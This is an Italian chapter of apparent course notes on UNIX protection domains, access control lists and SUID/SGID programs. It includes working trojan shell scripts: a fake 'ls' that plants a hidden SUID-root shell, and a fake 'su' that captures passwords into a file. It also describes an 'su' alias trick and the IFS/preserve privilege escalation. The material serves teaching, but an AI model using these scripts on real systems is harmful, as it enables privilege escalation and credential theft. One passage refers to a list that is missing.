6 Domini di protezione


Un altro importante aspetto legato alla sicurezza in ambiente UNIX è riscontrabile nei processi che girano nel sistema. I processi in UNIX, sono istanze di un particolare programma che viene letto in memoria ed eseguito dal kernel. Quando un processo gira, si troverà probabilimente a dover accedere ad oggetti del sistema sia hardware, come CPU, segmenti di memoria, terminali, driver per dischi o stampanti, sia software come altri processi, file, basi di dati o semafori. Questi oggetti devono essere necessariamente protetti per evitare di compromettere la sicurezza e l'integrità stessa del sistema. Se ad esempio un processo potesse accedere liberamente ai terminali (in UNIX un terminale altro non è che un file nel quale si può leggere o scrivere) potrebbe leggere facilmente le password che gli utenti digitano sul proprio terminale.
E' necessario quindi assicurarsi che i vari processi compiano solo quelle operazioni per le quali sono autorizzati. Un concetto basilare per i meccanismi di protezione è quello di dominio, che non è altro che un insieme di coppie (oggetto, diritti) ognuna delle quali specifica l'oggetto e il sottoinsieme delle operazioni ammissibili su di esso.

Ogni processo in Unix, gira istante per istante in un dominio di protezione. In altre parole vi è un qualche insieme di oggetti a cui esso può accedere e, per ognuno di questi, esso ha dei diritti. Il dominio di un processo viene definito dai dati identificativi dell'utente (UID) e del gruppo (GID) che lo hanno lanciato. Data ogni combinazione (UID, GID), è possibile fare una lista completa di tutti gli oggetti (file, che includono periferiche di I/O rappresentati da file speciali etc) a cui si può accedere ed indicare se essi possono essere acceduti in lettura (r), scrittura (w) o esecuzione (x). Due processi con la stessa combinazione (UID, GID) accederanno al medesimo insieme di oggetti, mentre processi con differenti combinazioni accederanno in generale a differenti file anche se in molti casi vi possono essere delle sovrapposizioni.

Figura 6.1: esempio di domini di protezione in UNIX

Inoltre ogni processo Unix è diviso in due metà: una parte utente e una kernel. Quando un processo fa una chiamata di sistema si sposta dalla parte utente alla parte kernel. Ognuna di queste parti ha accesso ad un insieme di oggetti differente. Per esempio il kernel può accedere a tutte le pagine nella memoria fisica, al disco intero e a tutte le risorse protette. Una chiamata di sistema provoca uno scambio di dominio: per esempio quando gira un programma SETUID o SETGID.
Questa divisione è stata ereditata da un meccanismo di scambio di dominio che utilizzava il sistema MULTICS. Ogni processo del sistema poteva consistere in un insieme di procedure ognuna delle quali era eseguita in un dominio specifico detto anello. Quando una procedura in un anello chiamava una procedura in un altro anello, avveniva un cambio di dominio di protezione. Un processo MULTICS poteva operare in ben 64 diversi domini.
Analogamente in Unix la parte del processo utente ha associati un insieme di oggetti con particolari diritti, mentre la parte kernel ne ha associati un altro insieme con altri diritti. Un problema rilevante riguarda le modalità in cui un sistema mantiene traccia dei domini e degli oggetti di un particolare dominio.
Concettualmente si può rappresentare la relazione tra oggetti, domini e permessi come una matrice in cui le colonne rappresentano gli oggetti, le righe i domini e le celle contengono i diritti associati ad un particolare oggetto in un dato dominio. Data la matrice e il numero corrente di dominio, il sistema può sapere se è permesso un accesso ad un particolare oggetto di un dato dominio e il tipo di operazione consentita su di esso. La matrice associata alla figura 6.1 è la seguente:

Tabella 6.1: un esempio di matrice di protezione
dominio pippo pluto topolino minnie stampante clarabella
1 r-- rw- --- --- --- ---
2 --- --- r-- rwx -w- ---
3 --- --- --- --- -w- --x

Questa è naturalmente una rappresentazione teorica in quanto un'implementazione del genere porterebbe a dover memorizzare matrici sparse: infatti molti domini non hanno accesso alla maggioranza degli oggetti e quindi nella matrice si avrebbero delle celle vuote. Un metodo pratico consiste nell'associare ad ogni oggetto una lista ordinata che contiene tutti i domini che possono accedere ad esso e con quali permessi. Questa lista è detta ACL (Access Control List). Per le versioni Unix che le supportano, le ACL sono un'estensione del file dei permessi (che può essere visto come una ACL compattata in nove bit) e permettono di specificare addizionali permessi a un file o una directory per quegli utenti che nel file dei permessi sono classificati come gli 'altri'. Esse sono previste nelle versioni AIX e HP-UX, mentre nelle versioni Solaris e Linux possono essere aggiunte.

6.1 UID e GID

Ogni processo che eseguiamo in un sistema UNIX, possiede almeno due identificativi in ogni istante, anche se di solito questi coincidono. Quando entriamo nel sistema l'UID viene letto dal file /etc/passwd: ci si riferisce a questo come UID reale, in quanto specifica chi realmente siamo. In alcuni casi si può voler prendere l'identificativo di un altro utente per accedere ad alcuni file o per eseguire determinati programmi. Per far ciò, si può entrare nel sistema come l'altro utente ed ottenendo un nuovo interprete dei comandi che assegnerà al processo un UID reale uguale a quello dell'altro utente. In alternativa si può usare il comando su. Entrambi i metodi però richiedono la conoscenza della password dell'utente delle cui risorse si vuole usufruire.
A volte l'autore di un programma potrebbe desiderare di eseguire un comando particolare per il quale non possiede gli appropriati privilegi (di solito quelli di root). In questi casi, poichè non si vuole svelare la password di root o non si vuole che un utente abbia accesso ad un interprete di comandi eseguito come root, UNIX risolve questo problema utilizzando degli speciali tipi di file chiamati setuid o SUID. Quando viene eseguito un tale file, il processo prende un UID effettivo che coincide con quello del proprietario del file, ma l'UID reale resta quello di partenza. Similmente si può parlare di GID effettivi, GID reali e setgid per i gruppi.

6.2 Processi SUID e SGID

A volte degli utenti vogliono poter eseguire file per i quali non posseggono i privilegi richiesti. In loro aiuto intervengono dei tipi di programmi che cambiano momentaneamente l'UID degli utenti o il GID del gruppo a cui l'utente appartiene fornendogli i privilegi del proprietario del file che stanno eseguendo. Questi programmi si chiamano rispettivamente SUID (Set-UID) e SGID (Set-GID). Un programma può essere contemporaneamente SUID e SGID. Per individuare tali programmi nel file dei permessi è posta una s al posto della x (permesso di esecuzione: i file SUID devono essere eseguibili).

Dal punto di vista della sicurezza questi programmi possono causare non pochi problemi. Per esempio, alcuni utenti potrebbero diventare superuser semplicemente eseguendo una copia SUID di csh (una delle shell disponibili in UNIX) il cui possessore è root. Anche se per fare la copia della shell bisogna essere connessi già come superuser, quindi per la sicurezza è importante che chi ha i privilegi di superuser non possa eseguire direttamente o indirettamente SUID di csh, l'ostacolo può essere agirato.

L'esempio che segue è tratto da [garfinkel96]. Si basa su un fatto realmente accaduto in un'università americana. Uno degli autori del libro necessitava dell'accesso all'account root su una macchina accademica. Sebbene fosse stato autorizzato dall'amministrazione, l'accesso gli venne negato dall'amministratore del sistema che riteneva (giustamente) pericoloso fornire la password di root, reputando che non fosse comunque giustificata una simile richiesta. Dopo qualche tentativo diplomatico di convincere il reticente system manager, il nostro uomo optò per una via meno diplomatica.
Egli notò (facendo un cat al file delle password) che il superuser aveva il search path iniziante con il punto '.' indicante che la ricerca dei comandi cominciava partendo dalla directory corrente. Pensò quindi di scrivere, quello che viene comunemente definito un Trojan horse (cavallo di Troia) per ottenere l'agoniato accesso come root. Per prima cosa scrisse nella directory corrente uno script shell eseguibile chiamandolo ls contenente il seguente codice:

#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}

Questo script copia nella directory ./stuff/junk/ con il nome di .superdude la shell sh, gli conferisce i permessi di lettura ed esecuzione per tutti e lo trasforma in un processo SUID. Infine, nelle ultime due righe, cancella la versione contraffatta del comando ls (il cavallo di Troia) ed esegue tramite il comando exec la versione originale di ls.

Poi eseguì i comandi seguenti per togliere alla directory corrente tutti i permessi per il proprio gruppo e per gli altri.

% cd
% chmod 700 .
% touch ./-f

Una volta tesa la trappola, bisognava che l'ignaro amministratore fosse costretto a digitare il comando su che avrebbe fatto scattare il tranello. A tal proposito il malizioso utente, creò un file con il trattino come prefisso '-' e chiamò l'amministratore con la scusa << ho trovato uno strano file nella mia home directory che non riesco a cancellare come posso fare? >>. Il file in questione non può essere cancellato perchè il comando rm interpreta il trattino come il flag di una certa opzione: se ad esempio il file creato si chiamasse '-pippo' quando lo si tenta di cancellare il comando rm -pippo [1] di UNIX ci congeda con il seguente messaggio (eseguito in FreeBSD):

rm: illegal option --p
usage: rm [-f | -i] [-dPRrW] file ...

interpretando così la 'p' di 'pippo' come una opzione del comando stesso. Se si crea un file chiamandolo, come nel caso dell'esempio, '-f', il comando rm non restituisce neanche l'errore (infatti -f è una opzione valida di rm!) conferendo così al file un alone di mistero.

[1] il comando da dare per ottenere la cancellazione è: rm ./-pippo.
Quando l'amministratore cercò di accedere, con il suo account amministrativo, alla directory dell'utente si vide l'accesso negato, dal momento che la directory era stata trattata con chmod 700. A questo punto la vittima, dovette eseguire il comando su per diventare root e quindi poter individuare il misterioso file. Fatto! Senza che l'amministratore se ne accorgesse il piccolo cavallo di Troia aveva creato una shell con SUID root (detta anche UID 0) e si era immediatamente cancellato facendo perdere ogni traccia. Dopo quanche minuto il povero system manager non riuscì più ad accedere all'account di root con la password che conosceva prima che il vendicativo utente gliela cambiasse.

Questo tipo di attacco, in FreeBSD non funziona. Infatti per ragioni di sicurezza, l'esecuzione del comando su può essere eseguita solo da un utente che appartiene al gruppo wheel oppure ad un qualsiasi gruppo con GID 0.
Un altro semplice cavallo di Troia può essere il seguente programma eseguibile che verrà chiamato proprio 'su':

stty -echo
echo -n "Password: "
read X
echo ""
stty echo
echo $1 $X > attacher_home_directory/.stolen_password
sleep 1
echo Sorry.
rm su

In questo modo quando un qualsiasi utente esegue (se ne ha i permessi) il comando su lo username e la password della vittima vengono registrate nel file .stolen_password nella directory home dell'attaccante. Dopodichè il cavallo di Troia si cancella. Queste tecniche funzionano soltanto se il search path della vittima comincia per '.'. Si può in ogni caso sostituire il comando su con un alias come segue:

alias su='./.su'

Quando qualcuno digiterà il comando su eseguirà quello fasullo memorizzato come .su (quindi nascosto) nella directory corrente.

6.2.1 SUID Shell Scripts

Molte versioni di Unix permettono la creazione di scripts shell che sono SUID o SGID, quindi sono eseguibili con i privilegi di superuser. Questi scripts rappresentano un buco importante nella sicurezza perché non possono essere eseguiti in maniera completamente sicura. La ragione principale di ciò è dovuta al fatto che una shell script sotto Unix per essere eseguita richiede due passi: quando il kernel individua che si vuole eseguire una shell script fa partire per prima una copia suid dell'interprete shell e solo dopo, tale interprete inizia l'esecuzione della shell script. Tra un passo e l'altro, il kernel può essere interrotto e cambiare così il file che l'interprete shell deve eseguire, in modo tale che un attaccante può far eseguire un programma di sua scelta che gli conferisce i privilegi di superuser. Anche se il device /dev/fd mitiga questa falla, è comunque molto pericoloso far eseguire scripts shell SUID che devono essere quindi evitati. Molti sistemi, ma non tutti, ignorano i bits SUID e SGID per gli script shell per questa ragione. Gli autori di programmi SUID e SGID cercano di creare il loro software in maniera tale da essere privo di buchi, ma nonostante ciò spesso basta che tali programmi siano istallati in maniera diversa da quella programmata per avere falle nella sicurezza.

N.B: molte versioni di UNIX, tra le quali FreeBSD, hanno riparato questa falla negando la possibilità di shell escape in write e mail.

6.2.1.1 Il programma Write

Un esempio di buco alla sicurezza è rappresentato dal programma write quando viene utilizzato per visualizzare un messaggio sul terminale di un altro utente. In questo caso il programma è SGID tty. Per ragioni di sicurezza Unix normalmente non permette ad un utente di leggere o scrivere su altri terminali perché si potrebbe scrivere un programma che legge ciò che altri utenti scrivono catturando così le password di questi ultimi. Il potenziale buco alla sicurezza di write è la sua 'shell escape'. Incominciando a scrivere una linea di comando con un punto esclamativo la persona che usa il write può creare programmi eseguiti dalla shell, dando così i privilegi speciali del write a tali programmi. Se write è installato con SUID root invece del SGID tty, il programma esegue tutto correttamente ma ogni programma che l'utente esegue con 'shell escape' viene eseguito con i privilegi di superuser. In questo modo un attaccante che ha rotto la sicurezza di un sistema potrebbe cambiare il file dei permessi di write, lasciandosi così la possibilità di utilizzare tale buco in futuro, mentre il programma continua a funzionare come prima.

6.2.1.2 Shell escape e IFS

A volte un'interazione tra un programma SUID e uno di sistema o una libreria provoca buchi alla sicurezza sconosciuti anche dall'autore del programma. Un esempio di questo tipo di buco è esistito per anni nel programma chiamato /usr/lib/preserve. Questo programma veniva utilizzato da editor quali vi e ex ed eseguiva un backup automatico ogni volta che un utente veniva disconnesso inaspettatamente dal sistema prima di aver memorizzato i cambiamenti di un file. Il programma preserve registrava tali cambiamenti in un file temporaneo e avvisava l'utente, utilizzando il programma /bin/mail, che il file era stato salvato. Poiché i file degli utenti potevano essere confidenziali, la directory dove veniva memorizzato il file temporaneo doveva essere SUID root. Un attaccante intelligente riusciva a guadagnarsi i privilegi di root sfruttando i tre seguenti dettagli del programma preserve:

Questa funzione usa sh per fare il parse della stringa da eseguire utilizzando una variabile shell chiamata IFS (Internal Field Separator) che separa le parole di ciascuna linea di cui si deve fare il parse. Tale variabile di solito è settata come spazio, tab e newline, ma se viene settata al carattere '/' (slash) quando si esegue vi e si utilizza preserve, è possibile far eseguire da /usr/lib/preserve un programma nella directory corrente chiamato bin. Tale programma viene eseguito come root. Il programma preserve ha più privilegi di quanti gli necessitano. Infatti basta creare un gruppo preserve con gli opportuni privilegi e rendere /usr/lib/preserve SGID preserve invece di SUID root.
Tale restrizione però potrebbe non eliminare completamente i buchi nella sicurezza. Infatti se un attaccante riesce ad entrare nel gruppo preserve è in grado di vedere i file che sono stati preservati.
Nonostante questo buco alla sicurezza sia presente da quando è stato aggiunto preserve all'editor vi, fu scoperto solo nel 1986 e reso noto al grande pubblico solo un anno dopo. Nelle ultime versioni di Unix, sh ignora la variabile IFS se la shell viene eseguita come root o se l'UID effettivo dell'utente differisce da quello reale.


Precedente Torna su Successivo